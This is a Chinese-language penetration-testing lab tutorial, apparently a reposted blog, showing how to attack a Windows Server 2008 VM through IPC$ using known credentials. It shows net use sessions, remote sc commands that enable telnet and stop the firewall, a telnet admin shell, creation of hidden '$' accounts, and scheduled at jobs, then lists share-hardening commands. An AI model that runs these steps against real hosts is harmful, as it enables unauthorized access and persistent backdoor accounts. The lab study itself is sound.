基于 Win Server 2008 复现 IPC$ 漏洞

news/2025/2/13 20:11:03/

写在前面

本篇博客演示了使用 winXP(配合部分 win10 的命令)对 win server 2008 的 IPC$ 漏洞进行内网渗透,原本的实验是要求使用 win server 2003,使用 win server 2003 可以规避掉很多下面存在的问题,建议大家使用 win server 2003 作为靶机进行测试,这里使用 win server 2008 仅作渗透演示,涉及内容主要就是扫描、拿shell、命令执行,总结一些知识,仅供学习参考。

Copyright © [2024] [Myon⁶]. All rights reserved.

文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默
人工智能icon-default.png?t=N7T8https://www.captainbed.cn/myon/

 

~~~~~~~~~~正文开始~~~~~~~~~~

知识介绍: 

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。IPC$ 是 NT2000 的一项新功能,它有一个特点,即在同一时间内,两个IP之间只允许建立一个连接。NT2000 在提供了 IPC$ 共享功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录共享(Admin$)。所有的这些初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者会利用 IPC$ ,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

为了配合IPC共享工作,Windows操作系统(不包括Windows 98系列)在安装完成后,自动设置共享的目录为:C盘、D盘、E盘、ADMIN目录(C:\Windows)等,即为 ADMIN$、C$、D$、E$ 等,但要注意,这些共享是隐藏的,只有管理员能够对他们进行远程操作。

使用 net 命令查看开启的共享:

net share

漏洞利用条件:

开放了 139、445 端口和 ipc$ 文件共享,并且我们已经获取到用户登录账号和密码。

测试靶机:Windows Server 2008 (内网 ip:192.168.249.129)

攻击机:Windows XP(ip 地址:192.168.249.137)

(后续部分命令基于 win10 物理机演示)

靶机虽然启动了 Windows 防火墙,但是允许文件共享,其余设置全为默认安装设置,并安装了所有补丁。(相当于是限定我们的渗透方向)

如下图,防火墙处于开启状态:

入站规则:启用文件和打印机共享

实验开始前先测试下网络:可以 ping 通

X-scan 扫描

在使用这个软件过程中遇到了一些问题,同样是进行 ip 段扫描

但是在物理机(win10)却扫描不到存活主机

参数配置:

扫描结果:

未发现存活主机

将软件放进虚拟机(XP系统),同样的参数配置

扫描结果:

成功扫到内网靶机 192.168.249.129

因为这个 win server 2008 是我的一台靶场机,所以会扫到这么多的漏洞

由于登录用户密码是我自定义修改过的,所以这里我们并没有扫到弱口令

正常来说,win server 2003 会扫到弱口令:administrator/123456

假设我们扫到了一个登录的弱口令,这也是 IPC$ 漏洞利用的条件之一

接下来我们分别演示利用 IPC$ 建立空连接和非空连接

我们可以无需用户名与密码与目标主机建立一个空的连接(前提是对方机器必须开了 IPC$ 共享),利用这个空的连接,我们可以得到目标主机上的用户列表。但是在 Windows2003 以后,空连接什么权限都没有,也就是说并没有太大实质的用处。

使用命令建立 IPC$ 空连接(即用户名和密码都为空):

net use \\192.168.249.129 /u:"" ""

查看共享连接 

net use

有些主机的 Administrator 管理员的密码为空,那么我们可以尝试进行空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。

下面我们使用拿到的账号和密码进行 IPC$ 非空连接

使用命令:

net use \\192.168.249.129 密码 /user:administrator

遇到如下的报错,这是因为我们刚才建立的空连接没有断开,正如我们前面所说,每个客户端只能与远程计算机的 IPC$ 共享建立一个连接。

因此我们先断开刚才建立的连接:

net use \\192.168.249.129 /del

再次执行非空连接的命令,建立连接成功

这里顺便说一下用户权限的问题:

使用管理员组内用户( administrator 或其他管理员用户)建立 IPC$ 连接,可以执行所有命令;

而使用普通用户建立的 IPC$ 连接,仅能执行查看时间命令:net time \\192.168.249.129 。

这里我们也演示一下查看当前时间:

net time \\192.168.249.129 

尝试查看文件和目录:

dir \\192.168.249.129\c$

执行成功 

与靶机对比一下,内容完全一样

当然这个命令也可以直接在运行框执行

\\192.168.249.129\c$

结果如下图,我们就可以直接在这里进行图形化的操作

回到实验本身,我们使用 sc 命令获取目标计算机的所有服务列表,并保存在本地:

使用 > 符号输出到本地的 C 盘下一个名为 MY.txt 的文档里

sc \\192.168.249.129 query type= service state= all > c:\MY.txt

(特别注意一点,在两个等号后面一定要加上空格,否则你导出的结果会有问题) 

执行成功后我们就可以找到该文件

在进行这一步时遇到了以下问题:

1、系统资源不足 无法完成请求服务

2、sc 命令拒绝访问

3、导出文件内容为:[SC] EnumQueryServicesStatus:OpenService FAILED 1060:

解决方案:重启客户机,重新建立连接,执行命令时加上空格

查看我们导出的文件,使用快捷键 Ctrl+F 检索 telnet 

可以看到该服务处于禁用状态

并且我们可以获知服务名为:TlntSvr 

接下来我们设置 telnet 为自启动状态并启动它:

sc \\192.168.249.129 config tlntsvr start= autosc \\192.168.249.129 start tlntsvr

 

再次导出目标计算机的所有服务列表

可以看到 telnet 服务处于运行状态

为了便于后续的渗透操作,我们一般需要先对防火墙进行关闭

通过检索关键字  firewall 

可以得知该服务处于运行状态,并且服务名称是 MpsSvc

(由于我这里是使用 win server 2008 进行的演示,该实验原本是基于 win server 2003 进行的,在 win server 2003 中,防火墙名称叫 SharedAccess)

使用 sc 命令关闭防火墙:

sc \\192.168.249.129 stop MpsSvc

再次导出服务运行情况:

这里遇到了问题,无法获取到目标的服务列表情况

进行一些简单的命令测试,似乎已经无法与目标正确建立连接

查看目标防火墙状态,发现是刚才远程执行关闭防火墙命令所导致的

由于防火墙关闭时发生了错误,导致一些服务也无法正常工作

没办法我们只能重启靶机

(这里我进行了多次测试,都会出现这个错误,只能手动关闭防火墙了,2003 应该是没问题的)

重新在攻击机测试:

连接恢复正常

接下来我们尝试与目标计算机建立 telnet 连接 

直接使用 telnet 命令跟上目标 ip :

(注意这里没有反斜杠 \\ )

telnet 192.168.249.129

键入 y ,回车 

输入用户名和密码

用户名为:administrator

密码为自己的密码(win server 2003 默认是 123456)

出于安全考虑,输入的密码不会显示出来,其实是输入成功了的,直接回车即可

telnet 连接建立成功

查看当前 ip

ipconfig

已经是我们目标靶机的 ip:192.168.249.129 

查看一下当前权限:

whoami

 

由于 shell 已经建立,并且是最高管理员权限,我们便可以进行一系列想做的操作了。

新建普通账户:

net user MY 123456 /add

这里对密码的复杂度进行了限制,换句话说就是我们设置的密码太简单了 

经过多次尝试,发现密码需要包含大小写字母和数字

创建新账号成功

查看当前存在的账户:

net user

即可看到我们新建的 MY 账号 

下面我们新建隐藏用户:

使用 $ 符

注意:该方法仅能实现在命令行里隐藏账户,但是在图形化管理工具里该账户还是可见的

net user MY$ qaMY789 /add

说明:上述命令直接复制执行会出错的,需要自己敲一遍。

MY$ 用户创建成功,并且在命令行里面无法看见,一定程度上实现了隐藏

但是在图形化账户管理界面,MY$ 用户是可见的:

后续我们再介绍通过注册表实现用户的完全隐藏

关于 telnet 的利用就到此为止,我们再补充一些其他命令的利用。

首先使用 exit 断开 telnet 连接

1、tasklist 命令

该命令用于查看进程

tasklist /S 192.168.249.129 /U administrator -P 密码

在 XP 系统无法执行(版本太老了不认识这个命令)

因此换用 win 10 的终端

执行成功,回显如下图:

2、at命令

该命令用于添加计划任务,但是在 Windows Vista、Windows Server 2008 及之后版本的操作系统中已经弃用了 at 命令,而转为用 schtasks 命令,schtasks 命令比 at 命令更灵活,在使用schtasks 命令时,会在系统中留下日志文件:C:\Windows\Tasks\SchedLgU.txt

首先我们查看当前时间

net time \\192.168.249.129

假设我们让它在 02:42pm 的时候再新建一个名为 MY67 的用户:

at \\192.168.249.129 02:42pm net user MY67 qaMY123 /add

并在 02:42pm 前和 02:42pm 后分别执行 net user 命令查看存在的用户

结果如下:说明目标计算机执行了我们 at 命令计划的任务

此外,我又新建了三项计划任务

我们使用 at 命令列出所有计划执行的作业:

at

追加具体作业 id 号就可以查看作业的详细信息

at 8

删除特定编号的作业

at \\192.168.249.129 作业ID /del

比如我们删掉作业 8 

at \\192.168.249.129 8 /del

删除后我们只能看到作业 7 和 9 了

关于我这里使用两个 cmd 框的解释:

一个框是通过 telnet 连接拿到了对方的 shell ,也就是没有加 \\192.168.249.129 所执行的命令;

另一个框是我本地的 cmd 框,执行命令时都是加了 \\192.168.249.129 的。

因为 ipc$ 有一定的危险性,而且对于大多数人来说是没啥用的,可以通过如下命令关闭共享:

net share ipc$ /delete

删除 IPC$ 共享后,如果需要重新开启它,可以使用以下命令来重新创建 IPC$ 共享:

net share ipc$

 最后附上一些常见的共享命令:

net use: 查看本机建立的连接或连接到其他计算机。net session: 查看其他计算机连接到本机的会话,需要管理员权限执行。net share: 查看本地开启的共享。net share ipc$: 开启 IPC$ 共享。net share ipc$ /del: 删除 IPC$ 共享。
net share admin$ /del: 删除 ADMIN$ 共享。net share c$ /del: 删除 C$ 共享。net share d$ /del: 删除 D$ 共享。net use * /del: 删除所有连接。net use \\192.168.249.129: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$: 与指定 IP 地址建立 IPC 空连接。net use \\192.168.249.129\ipc$ /u:"" "": 以空用户名和密码与指定 IP 地址建立 IPC 空连接。net view \\192.168.249.129: 查看指定 IP 地址上的默认共享。net use \\192.168.249.129 /u:"administrator" "hacker": 以管理员身份与指定 IP 地址建立 IPC 
连接。net use \\192.168.249.129 /del: 删除指定 IP 地址上的 IPC 连接。net time \\192.168.249.129: 查看指定 IP 地址上的时间。net use \\192.168.249.129\c$ /u:"administrator" "hacker": 以管理员身份连接到指定 IP 地址的 C$ 共享。dir \\192.168.249.129\c$: 查看指定 IP 地址上 C 盘的文件。net use \\192.168.249.129\c$ /del: 删除指定 IP 地址上的 C$ 共享连接。net use k: \\192.168.249.129\c$ /u:"administrator" "hacker": 将指定 IP 地址的 C 盘映射到本地 K 盘。net use k: /del: 删除本地 K 盘的映射。

Copyright © [2024] [Myon⁶]. All rights reserved.


http://www.ppmy.cn/news/1379292.html

相关文章

基于SpringBoot的招聘网站

基于jspmysqlSpring的SpringBoot招聘网站项目(完整源码sql) 博主介绍:多年java开发经验,专注Java开发、定制、远程、文档编写指导等,csdn特邀作者、专注于Java技术领域 作者主页 央顺技术团队 Java毕设项目精品实战案例《1000套》…

SpringCloud Stream简单笔记

添加kafka stream依赖 <dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-stream</artifactId> </dependency> <dependency><groupId>org.springframework.cloud</groupId><artifa…

crossover玩不了qq游戏大厅怎么办 仍有五亿人坚持用QQ crossover玩游戏 Mac电脑玩QQ游戏

从1999年2月&#xff0c;QQ首个版本QICQ&#xff08;OPEN-ICQ&#xff09;上线。到2024年&#xff0c;靠着5亿月活用户&#xff0c;守住社交领域TOP2位置。你还记得QQ经典的铃声吗&#xff1f; 根据月狐数据2023年12月的统计&#xff0c;QQ月活跃账户数比微博和知乎加在一起还要…

Everything:文件查找工具,一搜即得

名人说&#xff1a;东边日出西边雨&#xff0c;道是无晴却有晴。——刘禹锡 创作者&#xff1a;Code_流苏(CSDN)&#xff08;一个喜欢古诗词和编程的Coder&#x1f60a;&#xff09; 目录 一、软件介绍①Everything②核心功能③原理 二、下载安装①下载②安装 三、使用方法①文…

Java面试题(主要分清区别!!!)

RequestBody和ResponseBody的区别&#xff1f; RequestBody&#xff1a;接收json或xml数据 ResponseBody的&#xff1a;返回json或xml数据 RestController和Controller的区别&#xff1f; Controller&#xff1a;默认返回的是jsp页面 RestController&#xff1a;返回的是一个js…

Autosar Crypto Driver学习笔记(一)

文章目录 Crypto DriverPre-ConfigurationCryptographic capabilities加密能力Available Keys可用密钥 General BehaviorNormal OperationFunctional RequirementsSynchronous Job ProcessingAsynchronous Job Processing Design NotesPriority-dependent Job Queue基于优先级的…

可免费使用的AI平台汇总 + 常用赋能科研的AI工具推荐

赋能科研&#xff0c;AI工具助你飞跃学术巅峰&#xff01;(推荐收藏) 文章目录 赋能科研&#xff0c;AI工具助你飞跃学术巅峰&#xff01;(推荐收藏)一、可免费使用的AI平台汇总1. ChatGPT2. New Bing3. Slack4. POE5. Vercel6. 其他平台7. 特定功能平台8. 学术资源平台9. 中文…

NXP iMX8MM Cortex-M4 核心 GPT Capture 测试

By Toradex秦海 1). 简介 NXP i.MX8 系列处理器均为异构多核架构 SoC&#xff0c;除了可以运行 Linux 等复杂操作系统的 Cortax-A 核心&#xff0c;还包含了可以运行实时操作系统比如 FreeRTOS 的 Cortex-M 核心&#xff0c;本文就演示通过 NXP i.MX8MM 处理器集成的 Cortex-…